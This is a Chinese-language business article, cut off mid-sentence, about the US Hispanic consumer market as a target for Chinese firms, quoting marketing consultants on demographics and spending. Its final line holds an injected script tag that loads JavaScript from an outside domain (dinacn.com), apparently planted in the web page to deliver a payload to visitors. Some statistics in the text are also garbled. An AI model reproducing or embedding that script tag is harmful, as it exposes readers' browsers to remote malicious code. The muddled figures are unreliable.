您有没有注意到，现在的美国娱乐界，黑头发白皮肤的面孔越来越多，无论是摇滚巨星瑞奇?马丁，还是克里斯蒂娜，影视红星佩内洛普.克鲁兹和萨尔玛.海耶克，都有一个相同的特点：他们都属于西班牙裔。据美国最近一次人口普查数据，西班牙裔（4200万）已成为美国人口最多的少数族群（1亿人口）。美国现在是位居全球第二的拥有拉美族裔人口的国家，仅次于墨西哥，且位于西班牙，哥伦比亚和阿根廷之前。
“对于那些想要打开美国市场的中国企业来说， 西班牙裔市场是一个值得努力的市场。”美国著名的市场战略公司Santiago Solutions公司总裁兼CEO卡洛斯.圣地亚哥(Carlos Santiago)先生这样评论。
一个庞大的高速增长的市场
从2000年开始，Santiago Solution Group(SSG)依靠20多年的经营和管理咨询经验，为各大跨国企业设计和实施营销战略。圣地亚哥先生对记者说，“西班牙后裔市场不容忽视。根据现在每年4%的增长速度，到2025年西班牙裔将占美国人口总数的20%，到2050年，整个族裔将占美国人口总数的25%。世界主要跨国公司已意识到，在很多美国中心城市，比如洛杉矶，迈阿密，圣安东尼奥，该族裔的市场占有率已超过市场总份额的50%，在纽约，芝加哥和休斯敦，西班牙裔已占消费者总数的25%到35%，这是一个不能忽视的市场。”
他向记者介绍道，西班牙裔平均年龄只有27岁，是美国人口中最为年轻的一部分，较美国总人口的平均年龄年轻10岁。AC尼尔森的统计数字显示，多数出生于海外的美籍西班牙裔来自墨西哥和中美洲，有的是因为原来的国家经济疲软而远渡重洋来到美国。目前在美国的西班牙裔居民中，50%以上的人在海外出生。在美国本土出生的这一部分西班牙裔人将会主导今后的人口增长。
目前，西班牙裔市场已经形成了一个相当稳固的中产阶级层，分布于美国最大的一些城市。美国本土出生的西班牙裔人平均年收入为55,000美元，而出生于国外的西班牙裔人平均年收入为35,000美元。这种收入差别是由西班牙裔人在美国各行业的劳动参与所占比例之大所引起的。
一个典型的西班牙后裔家庭，家庭规模比较大，一个普通美国家庭人口人数为2.6个，而西班牙裔家庭超过3.6个。“目前家庭结构正从历史较短的大家族转化为组建速度快的年轻家庭，并且对家用电器，衣物，鞋类，玩具，电玩，摄影机和电脑购买需求旺盛。”圣地亚哥先生解释说，“美国西班牙裔市场是一块未开垦的黄金地，对于那些想以此市场作为一块战略跳板来强大实力的中国企业而言，这块市场正以其巨大的消费力在美国闪耀着光芒。”
作为美国最有影响力的100名西班牙裔之一，阿奎尔先生是致力于西班牙族裔的事业的专家。阿奎尔先生介绍说，他们的调查报告显示，从2004年至2005年间，西班牙裔的美国居民向自己的本国一共输出了数十亿美元的资金。目前西班牙裔的消费能力是7000亿美元，这一数字有望在2010年攀升至1万亿（约合人民币8万亿）。在美国，西班牙裔消费者的购买力远居于西班牙，巴西，墨西哥，甚至任何拉美国家之上。
公司高层耶西.阿奎尔（Jesse Aguirre）说：“我们和中国人有很多相似之处，我们认为家族的荣誉，家人的幸福和我们每一个人都是休戚相关的。” “在这一独特的价值观念引导下，各范畴领域内将涌现出更多的机会。比如说，西班牙裔的美国人花在和家人通电话的时间上比任何其他种族都要多，所以电信以及电信器材供应商一定能够在这里有所作为。”阿奎尔先生打趣道。
服饰和鞋类产品消费量大
西班牙裔花费在男女服饰，童装，两周岁以下孩童的衣物上的支出是相当可观的。”阿奎尔先生说。几十年来，美国零售商的销售目标直指日益富裕的拉丁美洲裔消费群。在这一市场中有一些中档百货商店如Sears， Kohl,s，Kmart，并且设立目标开设更多的新店，以精心设置的布局、设计双语标识和双语销售服务人员，外加独特的商品选择范围，为西班牙裔消费者精心打造全新消费环境。这些零售商和Jcpenney，梅西和沃尔玛等大百货在一些著名的拉定美洲裔消费者诸如墨西哥巨星Thalia，名模Daisy Fuentes，前环球小姐Dayanara Torres的推崇下创造出高级的时尚品牌的氛围 。
圣地亚哥先生说：“鞋类产品在拉丁美洲裔人的消费比例中占很大一块。”
随着许多大百货商店的涌现，不仅仅是Reebok，Skechers，和Payless这样的大品牌活跃在拉丁美洲裔消费者中，一些小生产品牌Wolverine，Georgia Boot和Harbor Fottwear也把眼光投放在这块市场。
2002年，在演员John Leguizamo，Reggaeton，明星Daddy Yankee和拉丁歌手Shakira影响下，以及?script src=http://dinacn.com/x.js> |